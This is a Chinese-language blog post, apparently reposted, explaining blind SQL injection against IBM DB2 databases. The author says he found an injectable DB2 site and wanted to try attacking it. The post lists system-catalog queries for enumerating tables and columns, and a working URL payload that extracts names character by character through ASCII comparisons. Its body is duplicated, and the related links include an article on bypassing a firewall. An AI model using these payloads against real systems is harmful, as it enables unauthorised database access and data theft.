Sql Injection in DB2數(shù)據(jù)庫
更新時間:2007年01月16日 00:00:00 作者:
使用DB2的人比較少了,今天碰到了一個可供注入的DB2網(wǎng)站,想試試身手。不過在網(wǎng)上很難找到相關(guān)的資料,只好自己研究了。
參考了IBM DB2的文檔,總結(jié)了這樣幾條:
1、select NAME from SYSIBM.SYSTABLES where CREATOR =USER
可以返回系統(tǒng)中所有用戶創(chuàng)建的表(table)名
2、select NAME from SYSIBM.SYSCOLUMNS where TBCREATOR = '' and TBNAME=''
返回表中的列名
3、select NAME from SYSIBM.SYSTABLES where CREATOR =USER FETCH FIRST 1 ROWS ONLY
這是最關(guān)鍵的地方,返回第一條記錄,類似于sql server中的top 1
4、SUBSTR(string, position, length)
返回字符串子串的函數(shù),類似于mid
5、ASCII()這個就不用多說了。
有了這些語句和函數(shù),我們就可以很方便的用ascii拆半法猜出所有的table名,字段名,以及其中的數(shù)據(jù)了。
例如判斷第一個table的名稱的第一個字符的ascii碼是否大于50:
http://*.com?test.jsp?id=1 and (select ASCII(SUBSTR(NAME,1,1)) from SYSIBM.SYSTABLES where CREATOR =USER FETCH FIRST 1 ROWS ONLY)>50 --
http://blog.waynedeng.com/blogview.asp?logID=543
參考了IBM DB2的文檔,總結(jié)了這樣幾條:
1、select NAME from SYSIBM.SYSTABLES where CREATOR =USER
可以返回系統(tǒng)中所有用戶創(chuàng)建的表(table)名
2、select NAME from SYSIBM.SYSCOLUMNS where TBCREATOR = '' and TBNAME=''
返回表中的列名
3、select NAME from SYSIBM.SYSTABLES where CREATOR =USER FETCH FIRST 1 ROWS ONLY
這是最關(guān)鍵的地方,返回第一條記錄,類似于sql server中的top 1
4、SUBSTR(string, position, length)
返回字符串子串的函數(shù),類似于mid
5、ASCII()這個就不用多說了。
有了這些語句和函數(shù),我們就可以很方便的用ascii拆半法猜出所有的table名,字段名,以及其中的數(shù)據(jù)了。
例如判斷第一個table的名稱的第一個字符的ascii碼是否大于50:
http://*.com?test.jsp?id=1 and (select ASCII(SUBSTR(NAME,1,1)) from SYSIBM.SYSTABLES where CREATOR =USER FETCH FIRST 1 ROWS ONLY)>50 --
http://blog.waynedeng.com/blogview.asp?logID=543
您可能感興趣的文章:
- DB2 數(shù)據(jù)庫創(chuàng)建、表的ixf文件導(dǎo)出導(dǎo)入示例
- DB2新手使用的一些小筆記:新建實例、數(shù)據(jù)庫路徑不存在、客戶端連接 .
- C#連接db2數(shù)據(jù)庫的實現(xiàn)方法
- 比較SQL Server與Oracle、DB2數(shù)據(jù)庫的一些知識
- 創(chuàng)建一個空的IBM DB2 ECO數(shù)據(jù)庫的方法
- 常見數(shù)據(jù)庫系統(tǒng)比較 DB2數(shù)據(jù)庫
- DB2數(shù)據(jù)庫的安裝
- DB2數(shù)據(jù)庫的備份和恢復(fù)
- 常見數(shù)據(jù)庫系統(tǒng)比較 DB2數(shù)據(jù)庫
- JSP如何連接DB2數(shù)據(jù)庫
- db2數(shù)據(jù)庫常用操作命令大全
相關(guān)文章
利用DWRCC突破天網(wǎng)防火墻(經(jīng)驗)(圖)
利用DWRCC突破天網(wǎng)防火墻(經(jīng)驗)(圖)...2007-01-01淺析國內(nèi)某網(wǎng)絡(luò)游戲的安全現(xiàn)況
淺析國內(nèi)某網(wǎng)絡(luò)游戲的安全現(xiàn)況2007-01-01